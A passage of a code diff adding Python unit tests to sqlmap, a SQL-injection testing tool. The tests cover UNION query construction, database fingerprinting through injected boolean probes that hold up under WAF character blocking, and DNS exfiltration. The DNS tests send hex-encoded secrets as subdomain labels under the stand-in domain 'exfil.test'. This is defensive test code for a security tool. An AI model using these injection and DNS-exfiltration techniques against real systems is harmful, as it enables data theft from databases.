"RAWTOHEX(name)", + DBMS.PGSQL: "ENCODE(CONVERT_TO((name),'UTF8'),'HEX')", + DBMS.MSSQL: "master.dbo.fn_varbintohexstr(CAST(name AS VARBINARY(8000)))", + } + + def test_per_dbms(self): + for dbms, expected in self.CASES.items(): + set_dbms(dbms) + self.assertEqual(agent.hexConvertField("name"), expected, msg="hexConvertField for %s" % dbms) + + +class TestForgeUnionQuery(unittest.TestCase): + def test_position_and_count(self): + # count=3, position=1 -> the real column is slotted at index 1, NULLs elsewhere + set_dbms(DBMS.MYSQL) + q = agent.forgeUnionQuery("SELECT a FROM t", 1, 3, None, "", "", "NULL", None) + self.assertEqual(q, " UNION ALL SELECT NULL,a,NULL FROM t") + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py new file mode 100644 index 00000000000..26520ca74a2 --- /dev/null +++ b/tests/test_dialectdbms.py @@ -0,0 +1,207 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Operator/typing-dialect DBMS heuristic (lib/utils/dialect.py). Locks in the empirical 8-probe truth +table: each measured signature maps to its expected back-end DBMS, and every other signature (unmeasured +engine, ambiguous, or noise) maps to None so the heuristic never wrong-foots detection. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.dialect as dialect +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.utils.dialect import _classify +from lib.utils.dialect import _reachCanary +from lib.utils.dialect import dialectCheckDbms +from lib.utils.dialect import DIALECT_CANARY +from lib.utils.dialect import DIALECT_PROBES +from lib.utils.dialect import DIALECT_REACH_CANARY +from lib.utils.dialect import _DIALECT_REACH_CHARS + +# Full 8-probe signature (pow, intdiv, mod, bitor, xeq, bslash, catplus, numcat) measured live -> DBMS. +# Every bit is significant (strict whitelist); a one-bit-off variant is simply not a known fingerprint. +MEASURED = { + "mysql": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "mysql5": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "tidb": (False, False, True , True , False, False, True , True , DBMS.MYSQL), # MySQL wire-compatible + "postgres": (True , True , True , True , False, False, False, False, DBMS.PGSQL), + "opengauss": (True , False, True , True , True , False, False, True , DBMS.PGSQL), # Oracle-compat '^=' + "cockroach": (True , False, True , True , False, False, False, False, DBMS.PGSQL), # decimal division + "cratedb": (True , True , True , True , False, False, False, True , DBMS.PGSQL), + "mssql2019": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # no '<<' + "mssql2022": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # gained '<<' but shift is not a probe -> same signature + "sqlite": (False, True , True , True , False, False, False, False, DBMS.SQLITE), + "clickhouse":(False, False, True , False, False, False, False, True , DBMS.CLICKHOUSE),# no bitwise-OR + "monetdb": (False, True , True , True , False, False, False, True , DBMS.MONETDB), # like MSSQL but no '+' concat + "firebird": (False, True , False, False, True , False, False, True , DBMS.FIREBIRD), # has '^=' + "h2": (False, True , True , False, False, False, False, True , DBMS.H2), + "hsqldb": (False, True , False, False, False, False, True , False, DBMS.HSQLDB), # '+' concat + "derby": (False, True , False, False, False, False, False, False, DBMS.DERBY), + "iris": (False, False, False, False, False, True , False, True , DBMS.CACHE), # '\' int-div (Oracle-like but no '^=') + "trino": (False, True , True , False, False, False, False, False, DBMS.PRESTO), + "oracle": (False, False, False, False, True , False, False, True , DBMS.ORACLE), # '^=' not-equal + "informix": (False, False, False, False, False, False, False, True , DBMS.INFORMIX), + "cubrid": (False, True , True , True , False, False, True , True , DBMS.CUBRID), # like MonetDB but '+' concat + "db2": (False, True , True , True , True , False, False, True , DBMS.DB2), # '^=', no '<<'/'\' + "vertica": (True , False, True , True , False, False, False, True , DBMS.VERTICA), # pg-derived but numeric '||' + "access": (True , False, False, False, False, True , True , False, DBMS.ACCESS), # ACE/JET: '^' exp + '\' int-div + '+' concat, no '%'/'|'/'||' +} + +# Documentation-derived (vendor operator spec, not live-tested); only where the signature is a free slot. +DOCUMENTED = { + "spanner": (False, False, False, True , False, False, False, False, DBMS.SPANNER), +} + +_PROBE_COUNT = len(DIALECT_PROBES) +_ALL = dict(MEASURED); _ALL.update(DOCUMENTED) + + +def _sig(engine): + return _ALL[engine][:_PROBE_COUNT] + + +class TestDialectClassification(unittest.TestCase): + def test_probe_count_matches_signature_width(self): + # the MEASURED rows and the doctested matrix must stay the same width as DIALECT_PROBES + self.assertEqual(_PROBE_COUNT, 8) + + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 8-probe signature maps to its expected DBMS + for engine, row in MEASURED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_documented_engines_map_as_expected(self): + # doc-derived rows (not live-tested) still resolve to their expected DBMS via the whitelist + for engine, row in DOCUMENTED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_mssql_version_agnostic(self): + # SQL Server 2022 gained '<<' but 'shift' is deliberately NOT a probe (it collided MSSQL 2022 + # with MonetDB); both versions share one signature and '+' concat separates MSSQL from MonetDB. + self.assertEqual(_classify(_sig("mssql2019")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("mssql2022")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("monetdb")), DBMS.MONETDB) + + def test_oracle_iris_split_by_operators(self): + # Oracle and IRIS are near-identical; '^=' (Oracle) vs '\' int-div (IRIS) split them. + self.assertEqual(_classify(_sig("oracle")), DBMS.ORACLE) + self.assertEqual(_classify(_sig("iris")), DBMS.CACHE) + + def test_previously_colliding_engines_now_split(self): + # the 4 late-measured engines collided on smaller probe sets; the 8-probe matrix separates them + # (Informix != IRIS, CUBRID != MonetDB, Vertica != PostgreSQL, DB2 != all-true noise). + self.assertEqual(_classify(_sig("informix")), DBMS.INFORMIX) + self.assertEqual(_classify(_sig("cubrid")), DBMS.CUBRID) + self.assertEqual(_classify(_sig("vertica")), DBMS.VERTICA) + self.assertEqual(_classify(_sig("db2")), DBMS.DB2) + + def test_whitelist_is_exact_no_false_positive(self): + # exhaustively sweep all 256 signatures: a non-None result is allowed ONLY for a known one + classifying = set(row[:_PROBE_COUNT] for row in _ALL.values()) + for bits in range(1 << _PROBE_COUNT): + sig = tuple(bool(bits & (1 << i)) for i in range(_PROBE_COUNT)) + if sig not in classifying: + self.assertIsNone(_classify(sig), "unmeasured signature %r wrongly mapped to %r" % (sig, _classify(sig))) + + def test_all_true_noise_is_rejected(self): + # a channel reading EVERY probe true (static/reflected page or false-positive oracle) is + # physically impossible and must NOT be guessed + self.assertIsNone(_classify((True,) * _PROBE_COUNT)) + + +class TestDialectCheckDbmsGuard(unittest.TestCase): + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, and + None whenever the channel is unreliable (including the canary that turns a trashy false-positive + channel into a true negative).""" + + def _run(self, probeBits, gate=(True, False, False), blocked=()): + # probeBits: {probe_name: bool}; gate: (2=2, 2=3, canary); blocked: chars a WAF drops + truth = {"2=2": gate[0], "2=3": gate[1], DIALECT_CANARY: gate[2]} + for name, expr in DIALECT_PROBES: + truth[expr] = bool(probeBits.get(name, False)) + # clean channel: all reachability canaries TRUE; a blocked char reads FALSE (combined + per-char) + truth[DIALECT_REACH_CANARY] = not blocked + for char, _ in _DIALECT_REACH_CHARS: + truth[_reachCanary(char)] = char not in blocked + orig = dialect.checkBooleanExpression + dialect.checkBooleanExpression = lambda expr, **kwargs: bool(truth.get(expr, False)) + saved = kb.get("injection") + try: + return dialectCheckDbms(object()) + finally: + dialect.checkBooleanExpression = orig + kb.injection = saved + + @staticmethod + def _bits(engine): + return dict(zip((n for n, _ in DIALECT_PROBES), _sig(engine))) + + def test_identifies_mysql_on_good_channel(self): + self.assertEqual(self._run(self._bits("mysql")), DBMS.MYSQL) + + def test_identifies_postgres_on_good_channel(self): + self.assertEqual(self._run(self._bits("postgres")), DBMS.PGSQL) + + def test_identifies_oracle_on_good_channel(self): + self.assertEqual(self._run(self._bits("oracle")), DBMS.ORACLE) + + def test_none_on_blocked_channel(self): + # everything blocked/false -> the tautology 2=2 reads False -> sanity fails -> None + self.assertIsNone(self._run({}, gate=(False, False, False))) + + def test_none_on_static_channel(self): + # a static page reads everything True -> the contradiction 2=3 is True -> sanity fails -> None + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, True, True))) + + def test_none_when_canary_reads_true(self): + # THE canary contract: a channel can look clean (2=2 true, 2=3 false) and yield a DBMS-shaped + # signature, but if the invalid canary also reads TRUE the channel accepts garbage -> None. + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, False, True))) + + +class TestDialectAdversarial(unittest.TestCase): + """WAF that selectively drops operator characters: a dropped probe reads FALSE, silently degrading + the signature. Reachability canaries mark those bits unknown and _classify() abstains unless the + trusted bits are unanimous - so char-blocking can never MISCLASSIFY (only answer correctly or None).""" + + def test_guard_never_misclassifies_under_single_char_block(self): + # for every droppable probe character, no known engine is ever read as a DIFFERENT DBMS + for char, bits in _DIALECT_REACH_CHARS: + for engine, row in _ALL.items(): + expected = row[_PROBE_COUNT] + got = _classify(row[:_PROBE_COUNT], unknown=set(bits)) + self.assertIn(got, (expected, None), "%s under blocked %r -> %s" % (engine, char, got)) + + def test_guard_recovers_when_trusted_bits_are_unique(self): + # MySQL stays uniquely pinned with 'mod' (%) blocked + self.assertEqual(_classify(_sig("mysql"), unknown={2}), DBMS.MYSQL) + + def test_guard_abstains_when_ambiguous(self): + # H2 vs Presto differ only in numcat; blocking '|' (kills numcat) makes them indistinguishable + self.assertIsNone(_classify(_sig("h2"), unknown={7})) + + +class TestDialectCheckDbmsReachability(TestDialectCheckDbmsGuard): + """dialectCheckDbms() end-to-end when a WAF drops a probe character.""" + + def test_blocked_char_abstains_instead_of_misclassifying(self): + # '|' dropped: H2 can no longer be told from Presto -> None (not a wrong guess) + self.assertIsNone(self._run(self._bits("h2"), blocked=("|",))) + + def test_blocked_char_still_identifies_when_unique(self): + # '%' dropped: MySQL stays uniquely identifiable + self.assertEqual(self._run(self._bits("mysql"), blocked=("%",)), DBMS.MYSQL) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dicts.py b/tests/test_dicts.py new file mode 100644 index 00000000000..a714956f1de --- /dev/null +++ b/tests/test_dicts.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the data-mapping tables in lib/core/dicts.py. + +These tables drive DBMS recognition, connector selection, dummy-table dialect, +and dump formatting. They are pure data, so the right tests are shape/coverage +invariants: every back-end has a connector entry, alias lists are well-formed, +and the dialect maps carry the values the engine expects. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import dicts +from lib.core.enums import DBMS +from lib.core.common import getPublicTypeMembers + + +class TestDbmsDict(unittest.TestCase): + def test_every_dbms_enum_has_connector_entry(self): + # DBMS_DICT keys must cover every public DBMS enum value + enum_values = set(v for _, v in getPublicTypeMembers(DBMS)) + missing = enum_values - set(dicts.DBMS_DICT.keys()) + self.assertEqual(missing, set(), msg="DBMS without DBMS_DICT entry: %s" % missing) + + def test_entry_shape(self): + # each entry: (aliases-tuple, connector-name, connector-url, sqlalchemy-dialect) + self.assertGreaterEqual(len(dicts.DBMS_DICT), 25, msg="DBMS_DICT suspiciously small") + for name, entry in dicts.DBMS_DICT.items(): + self.assertEqual(len(entry), 4, msg="malformed DBMS_DICT entry for %s" % name) + aliases = entry[0] + self.assertIsInstance(aliases, (tuple, list), msg="aliases not list-like for %s" % name) + self.assertGreaterEqual(len(aliases), 1, msg="no aliases for %s" % name) + for a in aliases: # per-item, so a failure names the offending alias + self.assertIsInstance(a, str, msg="non-str alias %r for %s" % (a, name)) + + def test_aliases_are_lowercase(self): + for name, entry in dicts.DBMS_DICT.items(): + for alias in entry[0]: + self.assertEqual(alias, alias.lower(), msg="alias %r (for %s) is not lowercase" % (alias, name)) + + +class TestFromDummyTable(unittest.TestCase): + def test_oracle_uses_dual(self): + self.assertEqual(dicts.FROM_DUMMY_TABLE[DBMS.ORACLE], " FROM DUAL") + + def test_mysql_has_no_dummy_table(self): + # MySQL allows a bare SELECT, so it must NOT appear here + self.assertNotIn(DBMS.MYSQL, dicts.FROM_DUMMY_TABLE) + + def test_values_start_with_from(self): + # strict: must be (optional leading space) FROM     - + # not just startswith("FROM"), which would accept "FROMX" or a bare "FROM" + for name, clause in dicts.FROM_DUMMY_TABLE.items(): + self.assertTrue(re.match(r"^\s*FROM\s+\S", clause.upper()), + msg="FROM_DUMMY_TABLE[%s]=%r is not a well-formed FROM clause" % (name, clause)) + + +class TestSqlStatements(unittest.TestCase): + def test_known_categories_present(self): + for category in ("SQL data definition", "SQL data manipulation", "SQL data control"): + self.assertIn(category, dicts.SQL_STATEMENTS, msg="missing SQL_STATEMENTS category %r" % category) + + def test_keywords_are_lowercase_tokens(self): + for category, keywords in dicts.SQL_STATEMENTS.items(): + self.assertTrue(len(keywords) >= 1, msg="empty category %r" % category) + for kw in keywords: + self.assertEqual(kw, kw.lower(), msg="keyword %r in %r not lowercase" % (kw, category)) + + +class TestDumpReplacements(unittest.TestCase): + def test_markers(self): + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(""), "") + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(" "), "NULL") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py new file mode 100644 index 00000000000..e1194142d75 --- /dev/null +++ b/tests/test_dns_engine.py @@ -0,0 +1,400 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS-exfiltration extraction engine (lib/techniques/dns/use.py dnsUse) and the +channel-detection probe (lib/techniques/dns/test.py dnsTest). + +DNS exfil is normally driven by a back-end DBMS that performs an actual DNS lookup +of an attacker-controlled hostname (Oracle UTL_INADDR, MSSQL xp_dirtree, ...), +encoding the queried data in the subdomain labels which then reach sqlmap's +in-process DNS server. That DBMS behaviour cannot be reproduced locally without a +real DNS-emitting engine, so here we drive the REAL dnsUse()/dnsTest() logic + the +REAL DNSServer (on a high port, no root) and emulate ONLY that one step: a mock +Request.queryPage plays the DBMS - it takes the per-iteration boundaries dnsUse +generated and fires a genuine UDP DNS query for +'prefix..suffix.domain' at the DNS server. + +So the chunking/offset/reassembly loop, the dns_request snippet rendering, the +DNSServer packet parse, pop(prefix,suffix), regex extraction, hex decoding and the +detection-then-disable logic are all exercised for real; if any of them regress +these go red - without a live DBMS. + +NOTE on fidelity: secrets are kept ASCII so the mock's byte-slice chunking matches a +DBMS character-substring exactly. Multi-byte (UTF-8) values, where DBMS SUBSTRING is +character-based and a chunk could split a code point, need the real-DBMS run. +""" + +import binascii +import os +import re +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.threads import getCurrentThreadData +from lib.core.enums import DBMS +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.settings import DNS_BOUNDARIES_ALPHABET +from lib.core.settings import MAX_DNS_LABEL +from lib.request.connect import Connect +from lib.request.dns import DNSServer +import lib.techniques.dns.use as dnsmod +import lib.techniques.dns.test as dnstestmod + +def _build_query(name, tid=b"\x12\x34"): + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + b"\x00\x01" + b"\x00\x01" + +class _HighPortDNSServer(DNSServer): + # same logic as the real server (parse/pop/run), just bound high so no root is needed + def __init__(self, port=0): + self._requests = [] + self._lock = threading.Lock() + self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._socket.bind(("127.0.0.1", port)) + self.port = self._socket.getsockname()[1] + self._running = False + self._initialized = False + + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + +_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} +_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} + + +class _DnsCase(unittest.TestCase): + DBMS_NAME = "MySQL" + + @classmethod + def setUpClass(cls): + cls.server = _HighPortDNSServer() + cls.server.run() + # bounded wait: never spin indefinitely if the in-process server fails to bind/init + # (e.g. a taken port on CI) - fail loudly instead of hanging the whole suite + deadline = time.time() + 10 + while not cls.server._initialized: + if time.time() > deadline: + raise RuntimeError("in-process DNS test server failed to initialize within 10s") + time.sleep(0.02) + + @classmethod + def tearDownClass(cls): + server = getattr(cls, "server", None) + if server is not None: + server.close() + cls.server = None + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_randomStr = dnsmod.randomStr + self._saved_randomInt = dnstestmod.randomInt + self._saved_dnsServer = conf.get("dnsServer") + self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite + # the DNS exfil path prints its own "[INFO] retrieved: ..." progress straight to stdout + # via dataToStdout() (it bypasses the logger, so the suite's log-level silencing can't + # catch it); suppress it through sqlmap's own per-thread stdout gate so the run stays clean + self._saved_disableStdOut = getCurrentThreadData().disableStdOut + getCurrentThreadData().disableStdOut = True + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.dnsServer = self.server + # isolate from the session hash DB (avoid cross-test value caching / uninitialized store) + dnsmod.hashDBRetrieve = lambda *a, **k: None + dnsmod.hashDBWrite = lambda *a, **k: None + # MSSQL/PostgreSQL build the payload via the stacked-query injection plumbing + # (agent.prefixQuery/agent.payload, needing a full kb.injection). That plumbing is + # generic - not DNS logic - and the mock oracle ignores the payload, so stub it to a + # pass-through; the DNS-specific snippet/substring/chunking still runs for real. + self._saved_prefixQuery, self._saved_payload = agent.prefixQuery, agent.payload + agent.prefixQuery = lambda expression, *a, **k: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue or "" + set_dbms(self.DBMS_NAME) + + def tearDown(self): + getCurrentThreadData().disableStdOut = self._saved_disableStdOut + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + conf.dnsServer = self._saved_dnsServer + Connect.queryPage = self._saved_qp + dnsmod.Request.queryPage = self._saved_qp + dnsmod.randomStr = self._saved_randomStr + dnstestmod.randomInt = self._saved_randomInt + dnsmod.hashDBRetrieve, dnsmod.hashDBWrite = self._saved_hdbR, self._saved_hdbW + agent.prefixQuery, agent.payload = self._saved_prefixQuery, self._saved_payload + + def _install_oracle(self, secret, working=True, force=None): + """ + Installs a mock queryPage that plays the DBMS: for each dnsUse iteration it fires a + real UDP DNS query carrying the next hex chunk of L{secret}. working=False models a + dead DNS channel (the DBMS never emits a lookup). force=(prefix, suffix) pins the + random boundary labels (to construct adversarial cases like a domain/suffix collision). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = force[len(boundaries) % 2] if force else real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + dbms = Backend.getIdentifiedDbms() + chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + + def oracle(payload=None, *args, **kwargs): + if not working: + return None + prefix, suffix = boundaries[-2], boundaries[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner + with self.server._lock: + if any(host.encode() in r for r in self.server._requests): + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + def _extract(self, secret): + self._install_oracle(secret) + return dnsmod.dnsUse("%s AND %d=%d", "user()") + + +class TestDnsExfilEngine(_DnsCase): + DBMS_NAME = "MySQL" + + def test_short_value(self): + self.assertEqual(self._extract("luther"), "luther") + + def test_value_spanning_multiple_dns_labels(self): + # > one DNS label -> forces the chunking/offset/reassembly loop (multiple queries) + secret = "The quick brown fox jumps over the lazy dog 0123456789 abcdef" + self.assertEqual(self._extract(secret), secret) + + def test_exact_chunk_boundary(self): + # length exactly one chunk: last-chunk break condition (len < chunk_length) edge + dbms = Backend.getIdentifiedDbms() + cl = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + secret = "A" * cl + self.assertEqual(self._extract(secret), secret) + + def test_special_characters(self): + secret = "p@ss W0rd!#%&" + self.assertEqual(self._extract(secret), secret) + + def test_domain_label_colliding_with_suffix(self): + # adversarial: --dns-domain's leading label equals the random suffix. A greedy + # extraction regex would run past the real boundary into the domain and corrupt the + # value; the (lazy) extraction must still recover it exactly. + conf.dnsDomain = "hhh.exfil.test" # leading label 'hhh' == forced suffix + self._install_oracle("luther", force=("ggg", "hhh")) + self.assertEqual(dnsmod.dnsUse("%s AND %d=%d", "user()"), "luther") + + +class TestDnsExfilEngineOracle(TestDnsExfilEngine): + # Oracle: different dns_request snippet (UTL_INADDR.GET_HOST_ADDRESS, '||' concat) and + # SUBSTRC substring template - re-runs the whole battery through the Oracle dialect. + DBMS_NAME = "Oracle" + + +class TestDnsExfilEnginePostgres(TestDnsExfilEngine): + # PostgreSQL: stacked-query branch (agent.payload), plpgsql COPY dns_request snippet, + # 'SUBSTRING((...)::text FROM x FOR y)' substring template. + DBMS_NAME = "PostgreSQL" + + +class TestDnsExfilEngineMssql(TestDnsExfilEngine): + # MSSQL: stacked-query branch, xp_dirtree dns_request snippet, and crucially a SMALLER + # chunk_length (MAX_DNS_LABEL//4 - 2) - exercises the alternate chunking arithmetic. + DBMS_NAME = "Microsoft SQL Server" + + +class TestDnsLabelInvariant(_DnsCase): + """The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never + exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label + and exfil silently breaks. + + Unlike a static formula check, this drives the REAL dnsUse() chunking through the REAL DNSServer + and asserts the invariant on the ACTUAL labels that reach the wire. The mock oracle does NOT + re-derive the chunk size: it slices each chunk to exactly the length dnsUse itself rendered into + its SUBSTRING call (captured live from agent.hexConvertField, whose input is the source's + substring expression). So if the chunk_length arithmetic in dnsUse regresses, the emitted hex + label grows past 63 octets and this test goes red - it observes the source's output, it does not + recompute it. + """ + + def _drive_and_collect_labels(self, secret): + """ + Runs dnsUse for L{secret} end-to-end against the real DNS server, slicing each chunk to the + length the SOURCE asked for (parsed from the live SUBSTRING expression dnsUse builds), and + returns (every label seen in every emitted query name, list of source chunk_lengths seen). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + source_chunk_lengths = [] + # Snapshot the names the REAL DNSServer parsed off the wire, captured the moment they land + # in _requests - dnsUse's own .pop() consumes them, so we must grab them before that. + captured_names = [] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + # agent.hexConvertField receives the rendered SUBSTRING call, e.g. "MID((...),1,31)" / + # "SUBSTRING((...) FROM 1 FOR 13)"; the substring LENGTH argument (the source's real + # chunk_length) is the last integer literal in it. Capture it per iteration so the oracle + # emits a chunk of exactly that size - the source's arithmetic, not a copy of it. + saved_hexConvertField = agent.hexConvertField + def spy_hexConvertField(field): + source_chunk_lengths.append(int(re.findall(r"\d+", field)[-1])) + return saved_hexConvertField(field) + agent.hexConvertField = spy_hexConvertField + + def oracle(payload=None, *args, **kwargs): + prefix, suffix = boundaries[-2], boundaries[-1] + chunk_length = source_chunk_lengths[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner + with self.server._lock: + matched = [r for r in self.server._requests if host.encode() in r] + if matched: + captured_names.extend(r.decode() if isinstance(r, bytes) else r for r in matched) + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + try: + result = dnsmod.dnsUse("%s AND %d=%d", "user()") + finally: + agent.hexConvertField = saved_hexConvertField + + # round-trip must still work (the source must actually reassemble what it chunked) + self.assertEqual(result, secret) + + labels = [] + for name in captured_names: + labels.extend(label for label in name.split(".") if label) + return labels, source_chunk_lengths + + def test_emitted_dns_labels_within_max_dns_label(self): + # long enough that every supported dialect's chunk_length forces several chunks (>1 label of + # hex payload), so the chunking loop - not just a single-shot path - is what we measure + secret = ("The quick brown fox jumps over the lazy dog " + "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz") * 3 + for dbms_name in ("MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server"): + self.DBMS_NAME = dbms_name + set_dbms(dbms_name) + labels, source_chunk_lengths = self._drive_and_collect_labels(secret) + + # the source must have actually chunked (multiple SUBSTRING iterations), otherwise we + # would not be testing the chunking output at all + self.assertGreater(len(source_chunk_lengths), 1, + "%s: payload did not force multiple chunks (got %d)" % (dbms_name, len(source_chunk_lengths))) + self.assertTrue(all(cl > 0 for cl in source_chunk_lengths), + "%s: non-positive chunk_length from source: %r" % (dbms_name, source_chunk_lengths)) + + self.assertTrue(labels, "%s: no DNS query labels were captured" % dbms_name) + for label in labels: + self.assertLessEqual(len(label), MAX_DNS_LABEL, + "%s: emitted DNS label %r is %d octets, exceeds MAX_DNS_LABEL (%d)" + % (dbms_name, label, len(label), MAX_DNS_LABEL)) + + +class TestDnsChannelDetection(_DnsCase): + """dnsTest(): probes the channel with a known random integer and disables DNS exfil if + the value doesn't come back (unless --force-dns, which then aborts).""" + DBMS_NAME = "MySQL" + KNOWN = 4815162342 + + def _patch_known_int(self): + dnstestmod.randomInt = lambda *a, **k: self.KNOWN + + def test_detection_success_keeps_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=True) + dnstestmod.dnsTest("%s AND %d=%d") + self.assertTrue(kb.dnsTest) + self.assertEqual(conf.dnsDomain, "exfil.test") # channel kept + + def test_detection_failure_disables_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=False) # dead channel + dnstestmod.dnsTest("%s AND %d=%d") + self.assertFalse(kb.dnsTest) + self.assertIsNone(conf.dnsDomain) # exfil turned off + + def test_detection_failure_with_force_dns_raises(self): + self._patch_known_int() + conf.forceDns = True + self._install_oracle(str(self.KNOWN), working=False) + self.assertRaises(SqlmapNotVulnerableException, dnstestmod.dnsTest, "%s AND %d=%d") + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py new file mode 100644 index 00000000000..918e54659ab --- /dev/null +++ b/tests/test_dns_server.py @@ -0,0 +1,365 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS server used for DNS-exfiltration (lib/request/dns.py): raw packet parsing +(DNSQuery), fake A-record response crafting, the pop(prefix, suffix) accounting, and +- importantly - resilience: a single malformed packet or a transient send error must +NOT kill the server thread (which would silently lose all further exfiltration). +""" + +import collections +import os +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) + +from lib.core.settings import MAX_DNS_REQUESTS +from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer + + +def build_query(name, tid=b"\x12\x34", qtype=1): + """Minimal standard (opcode 0) DNS query packet for L{name} (qtype 1=A, 28=AAAA, ...)""" + pkt = tid + 